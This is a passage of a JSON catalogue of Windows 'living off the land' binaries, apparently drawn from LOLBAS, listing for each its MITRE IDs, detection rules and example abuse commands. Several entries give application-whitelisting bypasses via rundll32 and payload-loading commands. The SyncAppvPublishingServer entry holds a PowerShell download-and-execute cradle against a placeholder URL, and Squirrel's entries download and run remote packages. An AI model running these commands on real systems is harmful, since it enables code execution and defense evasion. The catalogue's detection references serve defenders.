      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-settingsynchost",
    "install": [
      {
        "method": "choco",
        "package_name": "settingsynchost",
        "commands": [
          "choco install settingsynchost"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "settingsynchost",
    "namespace": "windows:execution:settingsynchost",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# setupapi\n\nsetupapi is a Windows LOLBin. Windows Setup Application Programming Interface Located at: c:\\windows\\system32\\setupapi.dll; c:\\windows\\syswow64\\setupapi.dll.\n",
    "_source": "setupapi.md",
    "allowed-tools": [
      "setupapi"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "LOLBAS Team",
    "capabilities": [
      "security.defense-evasion.bypass",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Setup Application Programming Interface Located at: c:\\windows\\system32\\setupapi.dll; c:\\windows\\syswow64\\setupapi.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_rundll32_setupapi_installhinfsection.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_rundll32_application_control_bypass___setupapi.yml"
      }
    ],
    "examples": [
      {
        "description": "Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified). (Run local or remote script(let) code through INF file specification.)",
        "command": "rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}"
      },
      {
        "description": "Launch an executable file via the InstallHinfSection function and .inf file section directive. (Load an executable payload.)",
        "command": "rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}"
      }
    ],
    "execution": {
      "template": "setupapi",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-setupapi",
    "install": [
      {
        "method": "choco",
        "package_name": "setupapi",
        "commands": [
          "choco install setupapi"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011"
    ],
    "name": "setupapi",
    "namespace": "windows:execution:setupapi",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "evading-autoruns",
        "url": "https://github.com/huntresslabs/evading-autoruns"
      },
      {
        "label": "994742106852941825",
        "url": "https://twitter.com/pabraeken/status/994742106852941825"
      },
      {
        "label": "setupapi_dll.html",
        "url": "https://windows10dll.nirsoft.net/setupapi_dll.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# shdocvw\n\nshdocvw is a Windows LOLBin. Shell Doc Object and Control Library. Located at: c:\\windows\\system32\\shdocvw.dll; c:\\windows\\syswow64\\shdocvw.dll.\n",
    "_source": "shdocvw.md",
    "allowed-tools": [
      "shdocvw"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "LOLBAS Team",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Shell Doc Object and Control Library. Located at: c:\\windows\\system32\\shdocvw.dll; c:\\windows\\syswow64\\shdocvw.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      }
    ],
    "examples": [
      {
        "description": "Launch an executable payload via proxy through a URL (information) file by calling OpenURL. (Load an executable payload by calling a .url file with or without quotes. The .url file extension can be renamed.)",
        "command": "rundll32.exe shdocvw.dll,OpenURL {PATH_ABSOLUTE:.url}"
      }
    ],
    "execution": {
      "template": "shdocvw",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-shdocvw",
    "install": [
      {
        "method": "choco",
        "package_name": "shdocvw",
        "commands": [
          "choco install shdocvw"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011"
    ],
    "name": "shdocvw",
    "namespace": "windows:execution:shdocvw",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/"
      },
      {
        "label": "",
        "url": "https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/"
      },
      {
        "label": "997690405092290561",
        "url": "https://twitter.com/bohops/status/997690405092290561"
      },
      {
        "label": "shdocvw_dll.html",
        "url": "https://windows10dll.nirsoft.net/shdocvw_dll.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# shell32\n\nshell32 is a Windows LOLBin. Windows Shell Common Dll Located at: c:\\windows\\system32\\shell32.dll; c:\\windows\\syswow64\\shell32.dll.\n",
    "_source": "shell32.md",
    "allowed-tools": [
      "shell32"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "LOLBAS Team",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Shell Common Dll Located at: c:\\windows\\system32\\shell32.dll; c:\\windows\\syswow64\\shell32.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/rundll32_control_rundll_hunt.yml"
      }
    ],
    "examples": [
      {
        "description": "Launch a DLL payload by calling the Control_RunDLL function. (Load a DLL payload.)",
        "command": "rundll32.exe shell32.dll,Control_RunDLL {PATH_ABSOLUTE:.dll}"
      },
      {
        "description": "Launch an executable by calling the ShellExec_RunDLL function. (Run an executable payload.)",
        "command": "rundll32.exe shell32.dll,ShellExec_RunDLL {PATH:.exe}"
      },
      {
        "description": "Launch command line by calling the ShellExec_RunDLL function. (Run an executable payload.)",
        "command": "rundll32 SHELL32.DLL,ShellExec_RunDLL {PATH:.exe} {CMD:args}"
      },
      {
        "description": "Load a DLL/CPL by calling undocumented Control_RunDLLNoFallback function. (Load a DLL/CPL payload.)",
        "command": "rundll32.exe shell32.dll,#44 {PATH:.dll}"
      }
    ],
    "execution": {
      "template": "shell32",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-shell32",
    "install": [
      {
        "method": "choco",
        "package_name": "shell32",
        "commands": [
          "choco install shell32"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011"
    ],
    "name": "shell32",
    "namespace": "windows:execution:shell32",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "885258886428725250",
        "url": "https://twitter.com/Hexacorn/status/885258886428725250"
      },
      {
        "label": "991768766898941953",
        "url": "https://twitter.com/pabraeken/status/991768766898941953"
      },
      {
        "label": "776574940128485376",
        "url": "https://twitter.com/mattifestation/status/776574940128485376"
      },
      {
        "label": "905189665120149506",
        "url": "https://twitter.com/KyleHanslovan/status/905189665120149506"
      },
      {
        "label": "shell32_dll.html",
        "url": "https://windows10dll.nirsoft.net/shell32_dll.html"
      },
      {
        "label": "",
        "url": "https://www.hexacorn.com/blog/2025/05/18/shell32-dll-44-lolbin/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# sigverif\n\nsigverif is a Windows LOLBin. File Signature Verification utility to verify digital signatures of files Located at: C:\\Windows\\System32\\sigverif.exe; C:\\Windows\\SysWOW64\\sigverif.exe.\n",
    "_source": "sigverif.md",
    "allowed-tools": [
      "sigverif"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Moshe Kaplan",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "File Signature Verification utility to verify digital signatures of files Located at: C:\\Windows\\System32\\sigverif.exe; C:\\Windows\\SysWOW64\\sigverif.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "sigverif.exe spawning unexpected child processes"
      }
    ],
    "examples": [
      {
        "description": "Launch sigverif.exe GUI, click 'Advanced', specify arbitrary executable path as 'log file name', then click 'View Log' to execute the binary. (Execute arbitrary programs through a trusted Microsoft-signed binary to bypass application whitelisting.)",
        "command": "sigverif.exe"
      }
    ],
    "execution": {
      "template": "sigverif",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-sigverif",
    "install": [
      {
        "method": "choco",
        "package_name": "sigverif",
        "commands": [
          "choco install sigverif"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "sigverif",
    "namespace": "windows:execution:sigverif",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1457676633809330184",
        "url": "https://twitter.com/0gtweet/status/1457676633809330184"
      },
      {
        "label": "",
        "url": "https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# sqlps\n\nsqlps is a Windows LOLBin.\n",
    "_source": "sqlps.md",
    "allowed-tools": [
      "sqlps"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Tool included with Microsoft SQL Server that loads SQL Server cmdlets.",
    "detections": [],
    "examples": [],
    "execution": {
      "template": "sqlps",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "process-manip",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-sqlps",
    "install": [
      {
        "method": "choco",
        "package_name": "sqlps",
        "commands": [
          "choco install sqlps"
        ]
      }
    ],
    "mitre_ids": [
      "T1059",
      "T1129",
      "T1204",
      "T1218"
    ],
    "name": "sqlps",
    "namespace": "windows:execution:sqlps",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# sqltoolsps\n\nsqltoolsps is a Windows LOLBin. Tool included with Microsoft SQL that loads SQL Server cmdlts. A replacement for sqlps.exe. Successor to sqlps.exe in SQL Server 2016+. Located at: C:\\Program files (x86)\\Microsoft SQL Server\\130\\Tools\\Binn\\sqlps.exe.\n",
    "_source": "sqltoolsps.md",
    "allowed-tools": [
      "sqltoolsps"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Tool included with Microsoft SQL that loads SQL Server cmdlts. A replacement for sqlps.exe. Successor to sqlps.exe in SQL Server 2016+. Located at: C:\\Program files (x86)\\Microsoft SQL Server\\130\\Tools\\Binn\\sqlps.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_mssql_sqltoolsps_susp_execution.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/aa9f7e0d13a61626c69367290ed1b7b71d1281fd/docs/_posts/2021-10-05-suspicious_copy_on_system32.md"
      }
    ],
    "examples": [
      {
        "description": "Run a SQL Server PowerShell mini-console without Module and ScriptBlock Logging. (Execute PowerShell command.)",
        "command": "SQLToolsPS.exe -noprofile -command Start-Process {PATH:.exe}"
      }
    ],
    "execution": {
      "template": "sqltoolsps",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-sqltoolsps",
    "install": [
      {
        "method": "choco",
        "package_name": "sqltoolsps",
        "commands": [
          "choco install sqltoolsps"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "sqltoolsps",
    "namespace": "windows:execution:sqltoolsps",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "993298228840992768",
        "url": "https://twitter.com/pabraeken/status/993298228840992768"
      },
      {
        "label": "sql-server-powershell?view=sql-server-2017",
        "url": "https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# squirrel\n\nsquirrel is a Windows LOLBin. Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation. Located at: C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Teams\\current\\Squirrel.exe.\n",
    "_source": "squirrel.md",
    "allowed-tools": [
      "squirrel"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Reegun J (OCBC Bank) - @reegun21",
    "capabilities": [
      "network.transfer.download",
      "security.defense-evasion.bypass",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation. Located at: C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Teams\\current\\Squirrel.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml"
      }
    ],
    "examples": [
      {
        "description": "The above binary will go to url and look for RELEASES file and download the nuget package. (Download binary)",
        "command": "squirrel.exe --download {REMOTEURL}"
      },
      {
        "description": "The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)",
        "command": "squirrel.exe --update {REMOTEURL}"
      },
      {
        "description": "The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)",
        "command": "squirrel.exe --update {REMOTEURL}"
      },
      {
        "description": "The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)",
        "command": "squirrel.exe --updateRollback={REMOTEURL}"
      },
      {
        "description": "The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)",
        "command": "squirrel.exe --updateRollback={REMOTEURL}"
      }
    ],
    "execution": {
      "template": "squirrel",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-squirrel",
    "install": [
      {
        "method": "choco",
        "package_name": "squirrel",
        "commands": [
          "choco install squirrel"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "squirrel",
    "namespace": "windows:execution:squirrel",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "watch?v=rOP3hnkj7ls",
        "url": "https://www.youtube.com/watch?v=rOP3hnkj7ls"
      },
      {
        "label": "1144182772623269889",
        "url": "https://twitter.com/reegun21/status/1144182772623269889"
      },
      {
        "label": "",
        "url": "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/"
      },
      {
        "label": "nuget-squirrel-uncontrolled-endpoints-leads-to-arb",
        "url": "https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12"
      },
      {
        "label": "update-nuget-squirrel-uncontrolled-endpoints-leads",
        "url": "https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "exfiltration",
      "defense-evasion",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# stordiag\n\nstordiag is a Windows LOLBin. Storage diagnostic tool Located at: c:\\windows\\system32\\stordiag.exe; c:\\windows\\syswow64\\stordiag.exe.\n",
    "_source": "stordiag.md",
    "allowed-tools": [
      "stordiag"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Eral4m",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Storage diagnostic tool Located at: c:\\windows\\system32\\stordiag.exe; c:\\windows\\syswow64\\stordiag.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_stordiag_susp_child_process.yml"
      },
      {
        "type": "ioc",
        "description": "systeminfo.exe, fltmc.exe or schtasks.exe or powershell.exe being executed outside of their normal path of c:\\windows\\system32\\ or c:\\windows\\syswow64\\"
      }
    ],
    "examples": [
      {
        "description": "Once executed, Stordiag.exe will execute schtasks.exe systeminfo.exe and fltmc.exe - if stordiag.exe is copied to a folder and an arbitrary executable is renamed to one of these names, stordiag.exe will execute it. (Possible defence evasion purposes.)",
        "command": "stordiag.exe"
      },
      {
        "description": "Once executed, Stordiag.exe will execute schtasks.exe and powershell.exe - if stordiag.exe is copied to a folder and an arbitrary executable is renamed to one of these names, stordiag.exe will execute it. (Possible defence evasion purposes.)",
        "command": "stordiag.exe"
      }
    ],
    "execution": {
      "template": "stordiag",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-stordiag",
    "install": [
      {
        "method": "choco",
        "package_name": "stordiag",
        "commands": [
          "choco install stordiag"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "stordiag",
    "namespace": "windows:execution:stordiag",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1451112385041911809",
        "url": "https://twitter.com/eral4m/status/1451112385041911809"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# syncappvpublishingserver\n\nsyncappvpublishingserver is a Windows LOLBin. Used by App-v to get App-v server lists Located at: C:\\Windows\\System32\\SyncAppvPublishingServer.exe; C:\\Windows\\SysWOW64\\SyncAppvPublishingServer.exe.\n",
    "_source": "syncappvpublishingserver.md",
    "allowed-tools": [
      "syncappvpublishingserver"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by App-v to get App-v server lists Located at: C:\\Windows\\System32\\SyncAppvPublishingServer.exe; C:\\Windows\\SysWOW64\\SyncAppvPublishingServer.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml"
      },
      {
        "type": "ioc",
        "description": "SyncAppvPublishingServer.exe should never be in use unless App-V is deployed"
      }
    ],
    "examples": [
      {
        "description": "Example command on how inject Powershell code into the process (Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures)",
        "command": "SyncAppvPublishingServer.exe \"n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX\""
      }
    ],
    "execution": {
      "template": "syncappvpublishingserver",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-syncappvpublishingserver",
    "install": [
      {
        "method": "choco",
        "package_name": "syncappvpublishingserver",
        "commands": [
          "choco install syncappvpublishingserver"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "syncappvpublishingserver",
    "namespace": "windows:execution:syncappvpublishingserver",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "895045566090010624",
        "url": "https://twitter.com/monoxgas/status/895045566090010624"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# syssetup\n\nsyssetup is a Windows LOLBin. Windows NT System Setup Located at: c:\\windows\\system32\\syssetup.dll; c:\\windows\\syswow64\\syssetup.dll.\n",
    "_source": "syssetup.md",
    "allowed-tools": [
      "syssetup"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "LOLBAS Team",
    "capabilities": [
      "security.defense-evasion.bypass",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows NT System Setup Located at: c:\\windows\\system32\\syssetup.dll; c:\\windows\\syswow64\\syssetup.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_rundll32_application_control_bypass___syssetup.yml"
      }
    ],
    "examples": [
      {
        "description": "Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified). (Run local or remote script(let) code through INF file specification (Note May pop an error window).)",
        "command": "rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}"
      },
      {
        "description": "Launch an executable file via the SetupInfObjectInstallAction function and .inf file section directive. (Load an executable payload.)",
        "command": "rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}"
      }
    ],
    "execution": {
      "template": "syssetup",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-syssetup",
    "install": [
      {
        "method": "choco",
        "package_name": "syssetup",
        "commands": [
          "choco install syssetup"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011"
    ],
    "name": "syssetup",
    "namespace": "windows:execution:syssetup",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "994392481927258113",
        "url": "https://twitter.com/pabraeken/status/994392481927258113"
      },
      {
        "label": "975350238184697857",
        "url": "https://twitter.com/harr0ey/status/975350238184697857"
      },
      {
        "label": "975549525938135040",
        "url": "https://twitter.com/bohops/status/975549525938135040"
      },
      {
        "label": "syssetup_dll.html",
        "url": "https://windows10dll.nirsoft.net/syssetup_dll.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
